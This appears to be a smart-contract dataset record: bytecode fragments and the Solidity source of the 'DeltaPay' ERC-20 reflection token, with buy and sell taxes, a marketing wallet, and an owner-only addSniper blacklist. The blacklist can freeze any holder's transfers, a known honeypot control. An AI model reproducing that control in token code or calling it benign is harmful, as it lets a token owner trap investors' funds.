168373ffffffffffffffffffffffffffffffffffffffff161415611dc057600080fd5b611dc933610d76565b821115611dd557600080fd5b611e2782600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ebc82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2190919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000611fff82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2190919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600190509291505056fea265627a7a7231582015a92883d01f43f5e0f32f49eb250f270ac7fb7f8f097577ef8c1753aed2d24064736f6c634300050b0032
|
{"success": true, "error": null, "results": {}}
| 6,261 |
0xa942c07131ea0ade273df5009951f33c2393701b
|
/*
/$$$$$$$ /$$ /$$ /$$$$$$$
| $$__ $$ | $$ | $$ | $$__ $$
| $$ \ $$ /$$$$$$ | $$ /$$$$$$ /$$$$$$ | $$ \ $$ /$$$$$$ /$$ /$$
| $$ | $$ /$$__ $$| $$|_ $$_/ |____ $$| $$$$$$$/|____ $$| $$ | $$
| $$ | $$| $$$$$$$$| $$ | $$ /$$$$$$$| $$____/ /$$$$$$$| $$ | $$
| $$ | $$| $$_____/| $$ | $$ /$$ /$$__ $$| $$ /$$__ $$| $$ | $$
| $$$$$$$/| $$$$$$$| $$ | $$$$/| $$$$$$$| $$ | $$$$$$$| $$$$$$$
|_______/ \_______/|__/ \___/ \_______/|__/ \_______/ \____ $$
/$$ | $$
| $$$$$$/
\______/
Telegram:
https://t.me/deltapay
SPDX-License-Identifier: Unlicensed
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DeltaPay is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Delta Pay";
string private constant _symbol = "DeltaPay";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeJeets = 0;
uint256 private _taxFeeJeets = 7;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 7;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 7;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0xf4Cdb03Fa34027152a72626d75f41758F98E6540);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public timeJeets = 11 minutes;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
bool private isMaxBuyActivated = true;
uint256 public _maxTxAmount = 2e8 * 10**9;
uint256 public _maxWalletSize = 2e8 * 10**9;
uint256 public _swapTokensAtAmount = 1001 * 10**9;
uint256 public _minimumBuyAmount = 2e8 * 10**9 ;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function createPair() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
if (isMaxBuyActivated) {
if (block.timestamp <= launchTime + 20 minutes) {
require(amount <= _minimumBuyAmount, "Amount too much");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) {
_redisFee = _redisFeeJeets;
_taxFee = _taxFeeJeets;
} else {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner {
isMaxBuyActivated = _isMaxBuyActivated;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount >= 5e7 * 10**9);
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
require(amountBuy >= 0 && amountBuy <= 13);
require(amountSell >= 0 && amountSell <= 13);
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
require(amountRefBuy >= 0 && amountRefBuy <= 1);
require(amountRefSell >= 0 && amountRefSell <= 1);
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
require(amount >= 0 && amount <= 1);
_burnFee = amount;
}
function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner {
require(amountRedisJeets >= 0 && amountRedisJeets <= 1);
require(amountTaxJeets >= 0 && amountTaxJeets <= 19);
_redisFeeJeets = amountRedisJeets;
_taxFeeJeets = amountTaxJeets;
}
function setTimeJeets(uint256 hoursTime) external onlyOwner {
require(hoursTime >= 0 && hoursTime <= 4);
timeJeets = hoursTime * 1 hours;
}
}
|
0x6080604052600436106102295760003560e01c8063715018a6116101235780639e78fb4f116100ab578063dd62ed3e1161006f578063dd62ed3e14610664578063e0f9f6a0146106aa578063ea1644d5146106ca578063f2fde38b146106ea578063fe72c3c11461070a57600080fd5b80639e78fb4f146105cf5780639ec350ed146105e45780639f13157114610604578063a9059cbb14610624578063c55284901461064457600080fd5b80637d1db4a5116100f25780637d1db4a514610534578063881dce601461054a5780638da5cb5b1461056a5780638f9a55c01461058857806395d89b411461059e57600080fd5b8063715018a6146104d457806374010ece146104e9578063790ca413146105095780637c519ffb1461051f57600080fd5b8063313ce567116101b15780635d098b38116101755780635d098b38146104495780636b9cf534146104695780636d8aa8f81461047f5780636fc3eaec1461049f57806370a08231146104b457600080fd5b8063313ce567146103ad57806333251a0b146103c957806338eea22d146103e957806349bd5a5e146104095780634bf2c7c91461042957600080fd5b806318160ddd116101f857806318160ddd1461031a57806323b872dd1461033f57806327c8f8351461035f57806328bb665a146103755780632fd689e31461039757600080fd5b806306fdde0314610235578063095ea7b3146102795780630f3a325f146102a95780631694505e146102e257600080fd5b3661023057005b600080fd5b34801561024157600080fd5b5060408051808201909152600981526844656c74612050617960b81b60208201525b60405161027091906121c4565b60405180910390f35b34801561028557600080fd5b5061029961029436600461206f565b610720565b6040519015158152602001610270565b3480156102b557600080fd5b506102996102c4366004611fbb565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102ee57600080fd5b50601954610302906001600160a01b031681565b6040516001600160a01b039091168152602001610270565b34801561032657600080fd5b50678ac7230489e800005b604051908152602001610270565b34801561034b57600080fd5b5061029961035a36600461202e565b610737565b34801561036b57600080fd5b5061030261dead81565b34801561038157600080fd5b5061039561039036600461209b565b6107a0565b005b3480156103a357600080fd5b50610331601d5481565b3480156103b957600080fd5b5060405160098152602001610270565b3480156103d557600080fd5b506103956103e4366004611fbb565b61083f565b3480156103f557600080fd5b506103956104043660046121a2565b6108ae565b34801561041557600080fd5b50601a54610302906001600160a01b031681565b34801561043557600080fd5b50610395610444366004612189565b6108ff565b34801561045557600080fd5b50610395610464366004611fbb565b61093c565b34801561047557600080fd5b50610331601e5481565b34801561048b57600080fd5b5061039561049a366004612167565b610996565b3480156104ab57600080fd5b506103956109de565b3480156104c057600080fd5b506103316104cf366004611fbb565b610a08565b3480156104e057600080fd5b50610395610a2a565b3480156104f557600080fd5b50610395610504366004612189565b610a9e565b34801561051557600080fd5b50610331600a5481565b34801561052b57600080fd5b50610395610ae1565b34801561054057600080fd5b50610331601b5481565b34801561055657600080fd5b50610395610565366004612189565b610b3b565b34801561057657600080fd5b506000546001600160a01b0316610302565b34801561059457600080fd5b50610331601c5481565b3480156105aa57600080fd5b5060408051808201909152600881526744656c746150617960c01b6020820152610263565b3480156105db57600080fd5b50610395610bb7565b3480156105f057600080fd5b506103956105ff3660046121a2565b610d9c565b34801561061057600080fd5b5061039561061f366004612167565b610ded565b34801561063057600080fd5b5061029961063f36600461206f565b610e35565b34801561065057600080fd5b5061039561065f3660046121a2565b610e42565b34801561067057600080fd5b5061033161067f366004611ff5565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156106b657600080fd5b506103956106c5366004612189565b610e93565b3480156106d657600080fd5b506103956106e5366004612189565b610edd565b3480156106f657600080fd5b50610395610705366004611fbb565b610f1b565b34801561071657600080fd5b5061033160185481565b600061072d338484611005565b5060015b92915050565b6000610744848484611129565b6107968433610791856040518060600160405280602881526020016123c9602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611850565b611005565b5060019392505050565b6000546001600160a01b031633146107d35760405162461bcd60e51b81526004016107ca90612219565b60405180910390fd5b60005b815181101561083b576001600960008484815181106107f7576107f7612387565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061083381612356565b9150506107d6565b5050565b6000546001600160a01b031633146108695760405162461bcd60e51b81526004016107ca90612219565b6001600160a01b03811660009081526009602052604090205460ff16156108ab576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108d85760405162461bcd60e51b81526004016107ca90612219565b60018211156108e657600080fd5b60018111156108f457600080fd5b600d91909155600f55565b6000546001600160a01b031633146109295760405162461bcd60e51b81526004016107ca90612219565b600181111561093757600080fd5b601355565b6017546001600160a01b0316336001600160a01b03161461095c57600080fd5b601780546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146109c05760405162461bcd60e51b81526004016107ca90612219565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b6017546001600160a01b0316336001600160a01b0316146109fe57600080fd5b476108ab8161188a565b6001600160a01b038116600090815260026020526040812054610731906118c4565b6000546001600160a01b03163314610a545760405162461bcd60e51b81526004016107ca90612219565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610ac85760405162461bcd60e51b81526004016107ca90612219565b66b1a2bc2ec50000811015610adc57600080fd5b601b55565b6000546001600160a01b03163314610b0b5760405162461bcd60e51b81526004016107ca90612219565b601a54600160a01b900460ff1615610b2257600080fd5b601a805460ff60a01b1916600160a01b17905542600a55565b6017546001600160a01b0316336001600160a01b031614610b5b57600080fd5b610b6430610a08565b8111158015610b735750600081115b610bae5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016107ca565b6108ab81611948565b6000546001600160a01b03163314610be15760405162461bcd60e51b81526004016107ca90612219565b601980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b158015610c4157600080fd5b505afa158015610c55573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c799190611fd8565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610cc157600080fd5b505afa158015610cd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf99190611fd8565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610d4157600080fd5b505af1158015610d55573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d799190611fd8565b601a80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610dc65760405162461bcd60e51b81526004016107ca90612219565b6001821115610dd457600080fd5b6013811115610de257600080fd5b600b91909155600c55565b6000546001600160a01b03163314610e175760405162461bcd60e51b81526004016107ca90612219565b601a8054911515600160b81b0260ff60b81b19909216919091179055565b600061072d338484611129565b6000546001600160a01b03163314610e6c5760405162461bcd60e51b81526004016107ca90612219565b600d821115610e7a57600080fd5b600d811115610e8857600080fd5b600e91909155601055565b6000546001600160a01b03163314610ebd5760405162461bcd60e51b81526004016107ca90612219565b6004811115610ecb57600080fd5b610ed781610e10612320565b60185550565b6000546001600160a01b03163314610f075760405162461bcd60e51b81526004016107ca90612219565b601c54811015610f1657600080fd5b601c55565b6000546001600160a01b03163314610f455760405162461bcd60e51b81526004016107ca90612219565b6001600160a01b038116610faa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107ca565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166110675760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107ca565b6001600160a01b0382166110c85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107ca565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661118d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107ca565b6001600160a01b0382166111ef5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107ca565b600081116112515760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107ca565b6001600160a01b03821660009081526009602052604090205460ff161561128a5760405162461bcd60e51b81526004016107ca9061224e565b6001600160a01b03831660009081526009602052604090205460ff16156112c35760405162461bcd60e51b81526004016107ca9061224e565b3360009081526009602052604090205460ff16156112f35760405162461bcd60e51b81526004016107ca9061224e565b6000546001600160a01b0384811691161480159061131f57506000546001600160a01b03838116911614155b1561169857601a54600160a01b900460ff1661137d5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107ca565b601a546001600160a01b0383811691161480156113a857506019546001600160a01b03848116911614155b1561145a576001600160a01b03821630148015906113cf57506001600160a01b0383163014155b80156113e957506017546001600160a01b03838116911614155b801561140357506017546001600160a01b03848116911614155b1561145a57601b5481111561145a5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016107ca565b601a546001600160a01b0383811691161480159061148657506017546001600160a01b03838116911614155b801561149b57506001600160a01b0382163014155b80156114b257506001600160a01b03821661dead14155b1561159257601c54816114c484610a08565b6114ce91906122e6565b106115275760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016107ca565b601a54600160b81b900460ff161561159257600a54611548906104b06122e6565b421161159257601e548111156115925760405162461bcd60e51b815260206004820152600f60248201526e082dadeeadce840e8dede40daeac6d608b1b60448201526064016107ca565b600061159d30610a08565b601d5490915081118080156115bc5750601a54600160a81b900460ff16155b80156115d65750601a546001600160a01b03868116911614155b80156115eb5750601a54600160b01b900460ff165b801561161057506001600160a01b03851660009081526006602052604090205460ff16155b801561163557506001600160a01b03841660009081526006602052604090205460ff16155b15611695576013546000901561167057611665606461165f60135486611ad190919063ffffffff16565b90611b50565b905061167081611b92565b61168261167d828561233f565b611948565b478015611692576116924761188a565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff16806116da57506001600160a01b03831660009081526006602052604090205460ff165b8061170c5750601a546001600160a01b0385811691161480159061170c5750601a546001600160a01b03848116911614155b156117195750600061183e565b601a546001600160a01b03858116911614801561174457506019546001600160a01b03848116911614155b1561179f576001600160a01b03831660009081526004602052604090204290819055600d54601155600e54601255600a54141561179f576001600160a01b0383166000908152600960205260409020805460ff191660011790555b601a546001600160a01b0384811691161480156117ca57506019546001600160a01b03858116911614155b1561183e576001600160a01b0384166000908152600460205260409020541580159061181b57506018546001600160a01b0385166000908152600460205260409020544291611818916122e6565b10155b1561183157600b54601155600c5460125561183e565b600f546011556010546012555b61184a84848484611b9f565b50505050565b600081848411156118745760405162461bcd60e51b81526004016107ca91906121c4565b506000611881848661233f565b95945050505050565b6017546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561083b573d6000803e3d6000fd5b600060075482111561192b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107ca565b6000611935611bd3565b90506119418382611b50565b9392505050565b601a805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061199057611990612387565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156119e457600080fd5b505afa1580156119f8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a1c9190611fd8565b81600181518110611a2f57611a2f612387565b6001600160a01b039283166020918202929092010152601954611a559130911684611005565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a8e908590600090869030904290600401612275565b600060405180830381600087803b158015611aa857600080fd5b505af1158015611abc573d6000803e3d6000fd5b5050601a805460ff60a81b1916905550505050565b600082611ae057506000610731565b6000611aec8385612320565b905082611af985836122fe565b146119415760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107ca565b600061194183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611bf6565b6108ab3061dead83611129565b80611bac57611bac611c24565b611bb7848484611c69565b8061184a5761184a601454601155601554601255601654601355565b6000806000611be0611d60565b9092509050611bef8282611